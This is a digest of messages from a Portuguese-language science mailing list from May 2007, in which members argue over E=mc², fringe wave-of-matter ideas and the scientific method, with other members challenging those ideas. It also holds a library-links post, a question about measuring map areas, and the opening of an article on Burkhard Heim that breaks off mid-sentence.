> - Prever os valores de carga elétrica e cor das partículas;
> - Prever as condições de unificação das interações fundamentais.
>
> []s,
>
> Roberto Takata
>




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SUBJECT: Re: [ciencialist] Sites para quem gosta de ler
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>, "Vivens Scientia" <VivensScientia@yahoogroups.com>
DATE: 09/05/2007 07:42

Colocarei essa preciosidade no Corredor dos Links do Imperdível! Grato.
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Esteban Moreno" <estebanlmoreno@gmail.com>
Para: "Vivens Scientia" <VivensScientia@yahoogroups.com>; <ciencialist@yahoogrupos.com.br>
Enviada em: terça-feira, 8 de maio de 2007 21:28
Assunto: [ciencialist] Sites para quem gosta de ler


Bibliotecas do Mundo


a.. www.biblioteca.ufrgs.br - Biblioteca Central - localize os livros das
bibliotecas da UFRGS

[ ... ]


SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 08:25

Olá Takata!

Takata >>> Ferrari, entenda q o conceito de massa não
é livre para qq um defini-la ao seu bel-prazer ou de
modo q melhor se encaixe em sua visão.

--- Sim, Takata, entendo. E já lhe disse que uso o seu
conceito “físico” de massa pra falar da matéria,
porque se usar o meu você mesmo me expulsa da lista.

Takata >>> O conceito de massa deve ser operacional e
por operacional quer dizer q possa ser testado
empiricamente.

--- É ai que está o xis da questão. É este também o
motivo porque me ocupo muito mais com a relação entre
o método cientifico e o raciocínio do que em me tornar
um especialista em física. Nada contra. Só a favor.
Cada ser humano pode e deve dar sua contribuição de
acordo com o que seu interesse lhe levou a estudar.
Cooperação, sempre. Competição, nunca.

--- Mas para a física, matéria (massa) é igual a
espaço cheio. Espaço vazio não é material, posto que
não pode ser medido empiricamente. Então, se digo que
o que a física chama de espaço vazio não é vazio, é
apenas uma questão de decodificação mental da
realidade. E se digo que a matéria é tanto o espaço
vazio como o cheio, ou seja, (indivisivelmente). Isto
terá que ser testado empiricamente.

--- Porém, como o tal teste empírico é justamente o
responsável pelo raciocínio de que matéria é apenas o
espaço cheio e não o vazio, a cobra morde o próprio
rabo e surge um ciclo vicioso. Como sair deste ciclo?

--- Só tem um jeito. Entendendo porque o tal teste
empírico é o responsável por criar a dualidade: cheio
e vazio. Ou seja, aplicando o método cientifico no
próprio aplicador: no raciocínio (decodificador).

--- “Cheio” é um raciocínio e “vazio” também, é sua
contra parte.

--- Mas a realidade não é cheia nem vazia, cheio e
vazio são raciocínios sobre a realidade. Perceber isto
já é o começo para começar a considerar que o espaço
vazio pode não ser vazio de matéria, mas sim vazio de
decodificação.

--- Por exemplo, neste exato instante você está lendo
letras (espaços cheios de preto) no monitor, mas o
espaço considerado vazio (branco) não deixa de ser o
mesmo monitor. Analogamente, o mesmo acontece com a
matéria. A matéria é o monitor indivisível, letras
cheias no vazio são fruto da decodificação.

Takata >>> Somente com testes de hipóteses podemos
criar confiança em uma visão.

--- Uma coisinha off topic sobre o que disse, já volto
pro tema. Vc disse “confiança”. Interessante isto, não
acha? No fundo, é tudo pra buscar “segurança”. Tudo
porque temos medo. Percebe isto? Voltando...

--- Como disse, o obstáculo atual está justamente no
desconhecimento cientifico do processo cientifico. O
que é testar? Testar envolve o raciocínio? De que
maneira o raciocínio influi no processo de Testar?
Creio que isto precisa ficar claro.

--- Ao meu ver, o que falta na ciência, é autociência.
Todos raciocinamos, mas isto não significa que todos
temos ciência do que é raciocinar. Entende? Eu posso
explicar o processo de “testar” para uma pessoa, e ela
pode reproduzir mecanicamente.

Takata >>> Não são nossos achismos. O achismo é seu.
Da parte da física atual são
teorias testadas - o q é muito diferente de achismo.

--- Minha teoria de que é a decodificação que cria o
espaço cheio e o espaço vazio também é testável. Se
aplicar o método cientifico no próprio aplicador irá
comprovar minha teoria. Ao comprovar esta teoria, a
teoria de que matéria é apenas o espaço cheio
inevitavelmente cai no vazio.

Takata >>> Traga um resultado experimental q demonstre
q a sua idéia é viável.

--- O mapa não é o território.
--- Tudo acontece ao mesmo tempo.
--- Nada se perde, tudo se transforma.

Takata >>> essa equação não mostra q a matéria vibra.

--- Ao meu ver, mostra. Mas se o que falo é
interpretado por você como deturpação, só mesmo
conversando a respeito para irmos nos explicando.

Takata >>> Essa equação não tem nada a ver com a
matéria vibrar ou não. Ela, grosso modo, apenas indica
q massa pode ser convertida em energia e vice-versa.

--- Entendo que isto que vc diz é uma interpretação.
Não é a única. E não é a minha. Só isto. Não disse que
a sua interpretação é errada.

Takata >>> Você pode dividir o carro sem separar as
partes.

--- Ok. Mas como? Pode dar um exemplo?

Takata >>> De mais a mais não é essa a questão...

--- É justamente esta a questão!

--- Porque seu conceito de matéria é um conceito de
partes (partículas). E é justamente o contrário do que
defendo. Defendo que matéria é indivisível e
partículas não são uma realidade, mas fruto da
decodificação da realidade.

Takata >>> a matéria como indivisível é uma idéia
contrária aos dados experimentais.

--- Sim, claro! Exatamente! Pois é o próprio ato de
decodificar (experimentar) a realidade que cria a
idéia de divisão (cheio e vazio).

Takata >>> A luz pode ser entendida como onda, mas não
é sua pulsação q entra na
fórmula e sim sua velocidade de propagação.

--- Sim, mas é a “velocidade de propagação” de uma
onda (luz) e não de uma coisa física (partícula),
concorda?

Takata >>> Voce pode supor o q quiser. (Embora eu o
ache pretensioso por querer mudar a "compreensão" da
fórmula sem jamais ter estudado física e apenas
pensando sobre como supostamente se transmite dados
pela internet.) Entre você supor e a sua suposição ser
adequada vai uma distância enorme.

--- Takata, também acho muita pretensão. Mas como não
é impossível, e cada vez mais tenho tido clareza sobre
os fatores que envolvem a questão, a distancia não me
incomoda. Outra coisa é que minha pretensão não é
reinventar a física, mas deixar evidente que a física
não é uma realidade, mas apenas uma forma de
raciocinar a realidade (decodificar). E deixar claro
como é que funciona isto. Eis porque me ocupo mais da
relação entre método cientifico e raciocínio, do que
ficar expert em fisiques.

Takata >>> Pense honestamente, vc confiaria em um
cara q não sabe nem o q é tijolo para construir a sua
casa? (Ele dirá q teve intuição do q é tijolo - para
ele tijolo é um pedaço de peixe fresco.)

--- Olha que interessante, voltamos novamente da
questão da confiança, não é? Bem, se tivesse medo de
alguma coisa. Por exemplo, de que a casa não ficasse
pronta em seis meses, não confiaria não. Mas senão
tivesse medo de nada. Por exemplo, se não tivesse
pressa. Faria o que todo cientista faz, fazia uma
experiência. Dava ao cara a chance de mostrar sua
intuição. O que teria perder? Se não conseguisse
construir minha casa com peixes, chamaria um pedreiro.
Se ele conseguisse, uma novidade teria sido descoberta
pela liberdade e não impossibilitada pela censura.

Takata >>> Ondas eletromagnéticas se propagam no
vácuo.

--- Vácuo é espaço vazio? Zero de matéria?

Takata >>> Bem, eu diria q vc não tem 100 anos. Nem
eu. Mas talvez em uns quatro
anos vc consiga. É o tempo médio de graduação em
física.

--- Takata, quando terminei o colegial prestei
vestibular pra engenharia na usp (mecatronica), ia ser
o primeiro curso, não passei. Vai ver é isto. Fiquei
com raiva da física. Rrsrsrs... Brincadeira. Sempre
adorei ciências. Gostava de física. Desmontava os
brinquedos para entender como funcionavam. Adorava
desmontar relógios. Meu pai era contador, não tinha
nada de cientista, então, não sei porque, me deu um
mini-laboratório de física. Tinha experiências com
imas, eletricidade, coisas assim, pra criança. Lembro
que era fascinado por motores elétricos... longa
história... No ano seguinte que fui reprovado na usp,
resolvi que nunca mais ia estudar. Arranjei um emprego
e fiquei muito feliz em ganhar dinheiro e gastá-lo.
Mas no ano seguinte... outra longa história... estava
cursando comunicação. Nunca tinha ouvido falar em
filosofia nem em psicologia. Nem sabia que não sabia.
E a única coisa que tinha ouvido falar de Freud era
que ele explicava tudo: “freud explica”, mas não sabia
o que. Então, na primeira aula de filosofia a
professora nos contou e explicou o mito da caverna de
Platão. Não sei se foi assim pra todos na classe, mas
pra mim ficou claro isto: “o mapa não era o
território”. Daquele dia em diante, a vida começou a
matar o físico em mim. Logo depois, a professora de
psicologia me fez reconhecer que eu não me reconhecia.
Ou seja, que tinha um consciente e um inconsciente.
Outra punhalada no físico. E assim tem seguido esta
longa história... que atualmente está passando aqui
pela c-list e conversando com outra longa história
chamada Takata. Quem sabe a história de amanhã? Será
que e=mc2 é capaz de prevê-la? Prossigamos...


Sinceramente
ferrari



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SUBJECT: Re: [ciencialist] Re: E=m.c2
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 08:39

Olá Edurado!

É mesmo! Me lembrei agora que vc era fisico. Meter
consciencia na fisica realmente não é um game
agradável. Vc leva porrada de tudo quanto é lado, de
quem estuda a consciencia e não gosta de fisica e de
quem estuda a fisica e não gosta de consciencia. Mas
enfim, minhas observações e conclusões são aquelas
mesmas. E se quiser conversar em outra thread, estou a
disposição.



sinceramente
ferrari





--- Eduardo Sardeiro <eduardo@simetrias.com.br>
escreveu:

> Saudações Ferrari!
>
> Lembro-me sim!
>
> Parei de frequentar o grupo de Ciências Cognitivas
> após ter ido para o exterior. Quando retornei, o
> grupo não estava tendo uma participação relevante,
> por isso, deixei de postar e-mails.
>
> Continuo sendo Cientista Cognitivo, seguindo a
> linha do Prof. Henrique Del Nero, de quando ele
> fazia parte do Instituto de Estudos Avançados da
> USP...
>
> Continuo devotando horas e horas no estudo dos
> fenômenos cognitivos, abordando assuntos desde
> robótica, mentes doentes e sadias e concepções
> mentais do mundo à nossa volta.
>
> Minha formação primária é Física. Por isso volta e
> meia alguns temas nesta área tb tomam a minha
> atenção. Um deles é a Teoria Ondulatória da Matéria
> que vem sendo investigada por vários cientistas ao
> redor do mundo.
>
> Quando estudo Física Teórica Pura delimito as
> questões cognitivas me atendo aos resultados
> matemáticos e às ferramentas de medidas
> universalmente aceitas. Assim, colocando minha
> referência cognitiva a parte, consigo obter
> resultados passíveis de serem migrados para outras
> referências cognitivas. É o procedimento comum a
> todo cientista diplomaticamente correto.
>
> A respeito sobre quais ou quantas referências
> cognitivas possam existir neste universo, foi
> comentado anteriormente aqui nesta comunidade sobre
> várias possíveis arquiteturas cognitivas, desde as
> mentes coletivas, como mostradas em um dos
> episódios de Jornada nas Estrelas, até as mentes
> atemporais, que funcionam sem referências temporais.
>
>
> Dos textos apresentados concluiu-se que, quaisquer
> que sejam as referências cognitivas, os resultados
> devem ser iguais. Em outras palavras: não importa
> a 'ilusão' montada pela mente. Como se diz em
> Linguística: não importa o signo ou o significado;
> o que importa é o significante. O rigor matemático
> facilita essa dissociação.
>
> Assim nada tem a ver a minha defesa das idéias
> trazidas pela Teoria Ondulatória da Matéria com a
> minha defesa das idéias Cognitivas.
>
> De fato pode existir uma aparente conexão, já que
> pela Mecânica Quântica não se pode determinar em
> que momento uma onda torna-se partícula e vice-
> versa; daí, a questão do quantum nos remete à
> questão de como o cérebro funciona. Existe tb o
> fato de que o Universo vai muito além do que nossos
> sentidos expandidos possam alcançar; daí vem a
> dificuldade de se montar um modelo fácil e
> previsível do Universo como um todo.
>
> Mas pára por aí.
>
> Os estudos que venho fazendo sobre a Teoria
> Ondulatória da Matéria apoia-se totalmente em
> cálculos, independendo totalmente sobre os aspectos
> do que possamos imaginar.
>
> Conquanto nos limitemos às Ciência Cognitivas, suas
> colocações são válidas sim e merecem ser tercidos
> comentários a parte. Só não aconselho tratar desdes
> assuntos neste tema sob o risco de criarmos
> complicações desnecessárias.
>
> Um forte abraço,
>
> Eduardo Sardeiro
> http://br.groups.yahoo.com/group/NetProcessing/
>
>
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, May 08, 2007 8:30 AM
> Subject: Re: [ciencialist] Re: E=m.c2
>
>
> Olá Eduardo!
>
> Grata surpresa.
>
> Também participava da lista de ciencias cognitivas
> e
> certa vez debatemos extensamente sobre consciencia
> lá.
> Lembra de mim?
>
> Sendo voce da área de ciencias cognifivas acho
> inevitável que entenda a matéria como ondas,
> afinal, a
> cognição também pode ser entendida assim.
>
> Também passei algum tempo acreditando nisto, que a
> matéria era uma ilusão (da matrix). Mas até a
> matrix
> deve ter seu alicerse, como voce mesmo conclui.
>
> Como resolver então a questão da onda e da
> matéria?
>
> Ao meu ver, a questão surge não porque matéria é
> ou
> não é onda, mas porque o mapa não é o território.
>
> Ou seja: A medição da matéria (conhecimento) não é
> a
> matéria (realidade).
>
> Este é o problema. Ciencia é feita de conhecimento
> da
> realidade e não de realidade (em si).
>
> Sendo assim, o conhecimento que a ciencia tem da
> matéria pode levar ao raciocinio que matéria=onda
> porque onda é manifestação na matéria. E a ciencia
> não
> conhece a matéria através de seu ser, sua
> realidade,
> mas apenas através da medição de sua
> manisfestação, ou
> seja, do seu estar (estado). E é ai que se
> confunde o
> mapa com o território.
>
> Sutil esta questão. Dificil de discernir para quem
> não
> leva em consideração que a compreenção cientifica
> é
> uma matemática de mapas e não de territórios.
>
> Mas voltando a pergunta: como resolver então a
> questão
> da onda e da matéria?
>
> Assim. Pra ciencia (raciocinio):
>
> Onda é resultado da medição da matéria.
> Matéria é uma suposição baseada na medição.
>
> Eu já citei aqui, várias vezes, o exemplo do
> líquedo e
> do molhado. Creio que o mesmo se dá com matéria e
> onda. Supomos o líquedo baseado na observação
> (medição) que chamamos de molhado.
>
> Ou seja, a observação humana não tem acesso ao
> líquedo
> (em si) só ao conhecimento humano do liquedo. E a
> mesma coisa com a materia.
>
> Mas quando o cientisca confunde o mapa com o
> território, na questão da matéria, ocorre dele
> igualar
> matéria e onda.
>
> A solução é simples: matéria ondula.
>
> Costumo dizer que a matéria pulsa, que é para
> relaciona-la com o tempo, que ao meu ver, é a
> inteligencia controladora das ondulações. Mas
> matéria
> ondulante é diferente de matéria=onda. É achar que
> o
> mapa é o território, percebe isto?
>
> Uma forma simples de imaginar o que estou dizendo
> é
> pensar em matéria como um oceano. Um ocenano é
> matéria
> ondulante.
>
> Pra terminar, creio que a solução para esta
> questão,
> entre outras, vem de se dar conta que raciocinar a
> realidade (conhecimento) implica sempre em ver
> tres em
> um. Explico:
>
> 1) Matéria
> 2) Força (movimento da matéria)
> 3) Tempo (inteligencia que está controlando o
> movimento da matéria)
>
>
> sinceramente
> ferrari
>
> Sardeiro <eduardo@simetrias.com.br> escreveu:
>
> > Prezados Senhores,
> >
> > Embora já tenha apresentado minha opinião a
> > respeito desta
> > célebre equação E=m.c2 e não ter sido bem
> > entendido, volto
> > a insistir em que ela é a maior evidência de que
>
> > *a matéria é
> > feita de ondas*.
> >
> > A questão é: de que tipo de onda a matéria é
> feita?
> > O que a
> > torna instável, a ponto de ser liberada em uma
> > explosão nuclear
> > e o que a torna estável a ponto de conservar o
> > número de
> > bárions?
> >
> > Sei que existem inúmeras explicações teóricas
> > para estes
> > fenômenos que não necessitam que a matéria
> > seja feita de
> > ondas.
> >
> > Entretanto, recentemente tem sido levantado a
> > suspeita de que
> > matéria são ondas estacionárias (ver Wave
> Structure
> > of Matter),
> > tendo o elétron como onda básica, capaz de
> > gerar todas as
> > demais partículas...
> >
> > Existem evidências de que isto é possível. Se
> > for validado,
> > teremos um trunfo na mão. Se não for,
> > continuaremos na
> > suspeita.
> >
> > Se o elétron é uma onda básica ou não, não vem
> ao
> > caso ainda.
> > Entretanto o maior ponto de discordia da Teoria
> > Ondulatória
> > da Matéria é onde tais ondas refletem para
> > se tornarem
> > estacionarias. Sim: já que partículas são ondas
> > estacionárias elas
> > precisam de um *anteparo* para refletir!
> >
> > A maioria dos especuladores supõem que as ondas
> de
> > matéria
> > propagam-se e refletem-se nas 'bordas' do Ether,
>
> > explicando
> > assim o porquê ocorrem interações mesmo
> > entre objetos
> > astronomicamente distantes e o porquê nunca
> > temos um
> > sistema perfeitamente isolado.
> >
> > Essa explicação falha, porque sabemos que o
> Ether
> > preenche
> > todo o Universo observável e que ele é
> extremamente
> > grande.
> > Levaria muito, muito, muito tempo para que
> > houvesse a
> > reflexão de uma onda estacionária tão
> > minúscula como o
> > eletron. Alguns alegam que a reflexão vem
> ocorrendo
> > desde o
> > inicio do Universo, é initerrupta e constante,
> logo
> > não haveria
> > necessidade de uma onda ir e vir para fazer
> > ocorrer uma
> > partícula... A onda sempre estaria ali, assim
> como o
> > eletron de
> > um fio carregado sempre esteve ali: ele não se
> > propagou da
> > Austrália para o Brasil, e sim a 'força
> > eletromotriz' o fez
> > movimentar-se.
> >
> > São vários blá-blá-blás de teorias que ainda não
> me
> > deixaram
> > satisfeito. Existe a necessidade de uma
> explicação
> > razoável de
> > como a onda de matéria reflete-se.
> >
> > Não pode ser em outra onda, pois ondas normais
> não
> > refletem
> > -se uma na outra. Elas podem colidir, ampliando,
> > diminuindo ou
> > mesmo anulando uma a outra. Não existe nenhum
> > exemplo na
> > natureza em que isso ocorra: não há reflexão
> > entre ondas de
> > intensidades nem de frequências diferentes.
> > Elas sempre
> > colidem.
> >
> > Venho analisando atualmente a possibilidade de
> > ondas eletro-
> > magnéticas com frequências tão infinitamente
> > pequenas e
> > contendo energias tão avalasadoras que
> > sucumbiriam em
> > 'espaços atemporais'. Ou seja, os *anteparo*
> seriam
> > intervalos
> > atemporais que aprisionariam as ondas
> > de matérias,
> > transformando-as no que chamamos de
> > partículas. Isto
> > evidenciaria o tempo uma entidade discreta e não
> > contínua. As
> > ondas estariam aprisionadas de tal forma que
> > somente em
> > colisões com outras partículas, sob determinados
>
> > aspectos de
> > massa e velocidade, poderiam liberá-las. Sob
> outras
> > condições,
> > as partículas poderiam ser absorvidas e por aí
> > vai...
> >
> > Estes comentários são só esboços de um trabalho
> > maior que
> > tentam apenas demonstrar a grande evidência
> > apontada por
> > E=m.c2. E isto não pode ser contestado.
> >
> > Até a qualquer momento e um forte abraço.
> >
> > Eduardo Sardeiro
> > http://br.groups.yahoo.com/group/NetProcessing/
> >
> >
> >
> >
> >
> >
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> >
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SUBJECT: Re: [ciencialist] Re: O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 08:52

Olá Homero!

Estou escrevendo pra dizer que eu li todo seu texto,
com todo o respeito. E discordo de voce, também com
todo o respeito.

Como lhe disse em nossa ultima conversa, eu lhe quero
bem, e sendo assim, não há motivo (de minha parte)
para nos deglardiarmos.

Nossa discordancia é simples, e já lhe expliquei, vc
está interessado em fazer ciencia olhando apenas para
as sobras da caverna de platão, eu estou interessado
em fazer ciencia olhando para as sombras e para a
fogueira, entendendo a relação entre ambas.

Ou seja, temos interesses diferentes. Eu respeito o
seu, mas vc não respeita o meu. O que posso dizer?
Estou fazendo minha parte.



Sinceramente
ferrari








--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Olá Ferrari
>
> Ferrari: " Homero, a explicação que dei ao Alvaro,
> na mesma thread, é a mesma que tenho para lhe dar
> aqui."
>
> A explicação que deu ao Alvaro era uma bobagem
> quando deu a ele, e ainda é uma bobagem agora..:-)
> Uma enorme, gritante, imensa, bobagem. Mais um dos
> seus jogos de palavras que não tem sentido, nem
> significam nada, a não ser o prazer que você tem de
> ouvir suas próprias palavras.
>
> Deixe-me explicar melhor usando um exemplo do que
> tenta discutir com o Takata: você disse ao Takata
> que ambos estão "exercendo seus achismos". Isso não
> só não é verdade, como é tolice da grossa. O que o
> Takata está fazendo (com enorme paciência) é
> tentando enfiar em sua cabeça dura o conhecimento
> atual sobre o universo, conhecimento científico
> confiável e que permite a construção de TUDO que vê
> a sua volta, inclusive o computador e a rede mundial
> que usa para enviar suas maluquces. Conhecimento que
> foi TESTADO de forma rigorosa, trabalhosa, por
> longos e estafantes períodos de tempo, e que hoje se
> consolidaram em teorias bem embasadas e com enorme
> suporte concreto.
>
> O que VOCÊ está fazendo é distorcer tudo isso, e
> apresentar alegações que NADA produzem ou
> significam, que não podem ser confirmadas ou
> testadas, que nao produzem desdobramentos ou base
> para novos conhecimentos. Nada de nada.
>
> Sua "teoria sobre a matéria" não resulta em NADA.
> Não há nenhuma forma de verificar se o amontoado de
> tolices que apresenta são reais ou confiáveis.
>
> A equação, E=mc2, resultado de ENORME esforço e
> trabalho, que foi testada em diferentes experimentos
> e estudos, tem desdobramentos. Significa que existe
> uma equivalencia (por isso o sinal de igualdade)
> entre matéria e energia, e que se pegarmos um
> punhado de átomos de hidrogenio, por exemplo, 40
> gramas, e os fundirmos, ao submete-los a enorme
> pressão e temperatura (como uma bomba atomica),
> alguns se fundirão em um novo átomo, de hélio, e
> isso liberará enorme quantidade de energia.
>
> O nome desse dispositivo é Bomda H, de Hidrogenio, e
> pode verificar o acerto dessa previsão nos muitos
> dispositivos que foram construidos dessa forma. Com
> 40 gramas de hidrogenio, podemos gerar enormes
> quantidades de energia, em quantidades bem definidas
> pelas equações da física (essa fisica que você
> "despreza", criada por cientistas
> ateus/materialistas tolos..:-).
>
> Na verdade, todo conjunto de conhecimentos que se
> relaciona com a equação famosa, E=mc2, resulta em
> tanta coisa, do aparelho de raio-X, a tomografia
> computadorizada, da bomba atomica, bomba H e usinas
> nucleares, até a química avançada de laboratórios
> espaciais, de aparelhos GPS (que precisam ser
> corrigidos a partir da relatividade) ao computador
> que você usa, que é difícil descobrir uma área de
> pesaquisa que esteja fora desse alcance. Ciência é
> um conjunto de conehcimentos e conclusões que forma
> uma descrição confiável do universo a nossa volta, e
> que produz teorias confiáveis sobre as relações e
> fenomenos que detectamos nesse universo.
>
> E certamente ciência não é um jogo de palavras, com
> o uso de distorções semanticas, que criamos depois
> de uma noite de bebedeira, ou para exercer nossa
> criatividade pós-modernista.
>
> Se entendesse um mínimo o que é ciência, método
> científico, etc, bastaria uma frase para acabar com
> a discussão, e faze-lo voltar a um silencio
> racional: PROVE suas alegações, Ferrari.
>
> Apresente experimentos que, se efetivados com
> sucesso, demonstrem que sua alegação é correta, real
> ou próxima disso (mais do que as teorias que
> pretende refutar, no mínimo). SE energia é matéria
> em vibração, ENTÃO...
>
> Então o que, Ferrari? Como demonstrar que seu jogo
> de palavras maluco é real????
>
> As equações de Maxell, sobre a unificação do
> eletromagnetismo, são aceitas porque suas evidencias
> são fortes. E parte dessas evidências são as coisas
> que VOCÊ usa para escrever para a lista, seu
> telefone celular, a TV que assiste todos os dias,
> etc, etc, etc. Se as equações de Maxwell não fossem
> tão próximas da realidade, nada disso funcionaria
> como funciona. Seu computador e sua TV não
> funcionariam. Bem, acho que tudo tem um lado
> positivo, pois não receberiamos suas mensagens ..:-)
>
> Ferrari: "Sei da minha ignorancia da linguagem
> da fisica. E não escondo de ninguém. Não tenho
> porque."
>
> Não, Ferrari, não ignora a "linguagem" da fisica
> apenas, ignora a física propriamente dita, a ciência
> em geral, o método científico, a filosofia da
> ciência, etc, etc, etc. E ainda assim pensa saber
> mais que todos os tolos cientistas materialistas do
> planeta, que não veem como suas teorias são
> brilhantes e corretas. E insiste em que, com base em
> toda essa ignorância, é capaz de compreender a
> matéria e a física melhor que todos eles. Isso sim é
> espantoso!
>
> Eu realmente acho que você gosta do som de suas
> palavras e de suas frases, mais do que gosta da
> realidade deste universo, e prefere um lindo
> discurso pós-modernista, sem sentido mas elaborado
> com cuidado, do que a natureza real das coisas. Só
> isso explica sua resistência a toda e qualquer
> tentativa que os co-listeiros fazem para esclarecer
> seus erros e enganos sobre ciência.
>
> Um abraço.
>
> Homero
>
>
>
>
>
>
>
> ----- Original Message -----
> From: Ferrari
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, May 08, 2007 11:36 AM
> Subject: Re: [ciencialist] Re: O Que é Fazer
> Ciencia? ::: (artigo sobre o método cientifico e o
> tempo)
>
>
> Olá Homero!
>
> Homero >>> Ver o óbvio??!?!?! Óbvio é que o Sol
> gira
> ao redor de nós, que as estrelas são pregadas em
> uma
> abóboda celestial fixa...
>
> --- Homero, a explicação que dei ao Alvaro, na
> mesma
> thread, é a mesma que tenho para lhe dar aqui. Por
> favor, lendo-a, creio que me entenderá melhor. Se
> ainda assim não entender, estou a disposição para
> o
> debate sobre o assunto.
>
> Homero >>> está a léguas de distância de sua atual
> capacidade em termos de conhecimentos básicos de
> física
>
> --- Como disse ao Alvaro, este artigo não foi
> escrito
> para tratatar da questão da fisica e da
> gravitação,
> mas da relação entre raciocinio e método
> cientifico.
> Ou seja, o "fazer ciencia" e não o "fazer fisica".
>
> Homero >>> antes de ficar bravo, lembre-se de que
> não
> é demérito ignorar conhecimentos científicos
>
> --- Com certeza. Sei da minha ignorancia da
> linguagem
> da fisica. E não escondo de ninguém. Não tenho
> porque.
> E poir! Nem como.
>
> Homero >>> Newton não "percebeu" que tudo caia, o
> que
> é óbvio e já havia sido notado provavelmente até
> por
> nossos antepassados australopitecus, ele
> demonstrou
> como as relações entre corpos poderiam ser
> descritas
> em termos matemáticos precisos e confiáveis.
>
> --- Novamente, Homero, como explico ao Alvaro,
> apenas
> usei a história da maça, porque é uma história
> muito
> conhecida, curiosa e ilustrativa. Poderia ter
> usado
> outra, se tivesse estas caracteriscas também. O
> motivo
> foi por didática no estudo sobre metodo cientifico
> e o
> raciocinio e não para se compreender e estudar a
> gravitação ou a fisica.
>
> Homero >>> Assim fica difícil, Ferrari.:-)
>
> --- Ruido de comunicação. Nenhuma comunicação e
> perfeita, nem quando conversamos com nós mesmos. O
> jeito é ir tirando o ruido.
>
> outro abraço
> sinceramente
> ferrari
>
> - - - - - - - - - - - - - - -
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SUBJECT: Re: [ciencialist] OFF-TOPIC: Software para calcular área de mapa
FROM: "Silvio Cordeiro" <scordeiroes@superig.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 09/05/2007 09:50

Use o sistema antigo: com uma escala milimétrica divida as irregularidades em triângulos, meça a área de cada um e some: facinho e sem problemas. Havendo linhas curvas, transforme-as em arcos e calcule da mesma forma e adicione.
Se vs. não sabe usar o Autocad, nem tente.O método manual é seguro.
Hoje áreas mesmo irregulares são medidas por GPS, mas operador por profissionais.

sds.,

silvio.
----- Original Message -----
From: psdias
To: ciencialist@yahoogrupos.com.br
Sent: Tuesday, May 08, 2007 5:36 PM
Subject: [ciencialist] OFF-TOPIC: Software para calcular área de mapa


Peço licença para postar esta pergunta off-topic, pedindo
dica de algum software simples que consiga realizar o seguinte:

- Tenho um antigo mapa de um terreno (feito por um topógrafo
com quem não mais tenho contato.

- Com base nesse mapa topográfico, preciso calcular a área de uma
certa região MUITO IRREGULAR do terreno, e para isso pensei em fazer o seguinte
(ressalto que não sou topógrafo, nem desenhista, nem sei usar softwares
de desenho técnico ou artístico):

- Escanear o mapa e importar no AUTOCAD
(até aqui consegui fazer)

- Dentro do AUTOCAD, queria usar alguma ferramenta para demarcar a região
do mapa, e depois pedir ao AUTOCAD para calcular a área da região
(eu teria também de saber como indicar ao AUTOCAD que "tantos pixeis equivalem
a tantos metros").

- O problema é que eu não consegui usar o AUTOCAD. Apesar da tarefa que eu pretendia
realizar ser simples (apenas medir uma área), ele é um programa para quem é iniciado
na sua interface.

- Também tentei usar um software chamado MODELLUS (http://phoenix.sce.fct.unl.pt/modellus/),
que é muito interessante para professores e alunos de Física e Matemática. Ele possui um recurso
exatamente como mencionei acima. Porém, ao importar a imagem escaneada, as extremidades do
mapa ficam "cortadas" (ocultas) na janela do software, e eu perco um bom pedaço do desenho (o
MODELLUS não possui recurso de zoom, redimensionamento, etc. - eu teria de mexer no tamanho da
imagem em algum outro software gráfico, mas nesse caso perderia muito em precisão).

- Enfim, alguém conhece algum software não muito complicado de usar, onde eu pudesse
executar a tarefa que descrevi ?

Muito obrigado pela atenção de todos
Paulo

[As partes desta mensagem que não continham texto foram removidas]






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[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] O Que é Fazer Ciencia? ::: (artigo sobre o método cientifico e o tempo)
FROM: Ferrari <emailferrari@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 09:56

Olá Alvaro!

Alvaro >>> Entendo perfeitamente que você está
tentando falar sobre método científico, não sobre
física. Mas uma pessoa que usa somente um lado da
"história da maçã" não me parece ter muito método...
nem ciência.

--- Alvaro, volto a dizer, a história neste artigo não
é para postular ou explicar a gravitação, mas apenas
para ilustrar a relação entre o raciocinio e o método
cientifico. Talvez, voce, por ser fisico, sinta falta
de uma profundidade na questão da gravitação, mas não
é este o intuito do artigo. O intuito do artigo é
mostrar que se observa (o sempre), depois se
raciocina, se teoriza, e a teoria passa a servir de
método de previsão. O outro lado da história, é outra
história.

Alvaro >>> Note: isso não é física, nem filosofia
avançada. Qualquer um que já leu Marcelo Gleiser ou
Carl Sagan deve saber a versão completa da "história
da maçã".

--- Ok. Eles escrevem com este objetivo. O meu
objetivo foi outro. Qual o problema?



sinceramente
ferrari



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SUBJECT: Burkhard Heim - Do Nazismo à Força Aérea Americana
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 09/05/2007 10:31

Encontrei um artigo interessante, do qual reproduzo apenas a primeira
parte, quem quiser ler o resto, use o link que aparece lá no fim...

-o=O=o-

Mais de um ano atrás a revista New Scientist publicou um artigo
bastante polêmico sobre a informação confirmada de que a Força Aérea
Americana [em colaboração com o Departameno de Energia americano]
estaria desenvolvendo um superpropulsor baseado nas teorias de um
físico alemão chamado Burkhard Heim, que havia começado seus estudos
junto a órgãos científicos nazistas. Também a Nasa estaria interessada
na proposta, obviamente.

Quando Einstein escreveu uma carta a Franklin Delano Rosevelt,
solicitando que este autorizasse o desenvolvimento de
bombas atômicas pelos EUA, antes que os nazistas o fizessem, estava se
referindo a trabalhos de cientistas como Burkhard Heim.

Após o fim da Segunda guerra mundial, Burkhard Heim foi inocentado
